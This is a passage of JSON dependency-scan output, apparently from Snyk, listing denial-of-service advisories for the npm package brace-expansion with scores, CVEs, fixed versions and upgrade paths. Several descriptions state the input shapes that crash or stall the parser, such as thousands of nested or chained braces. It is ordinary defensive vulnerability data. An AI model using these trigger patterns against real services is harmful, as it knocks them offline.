"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
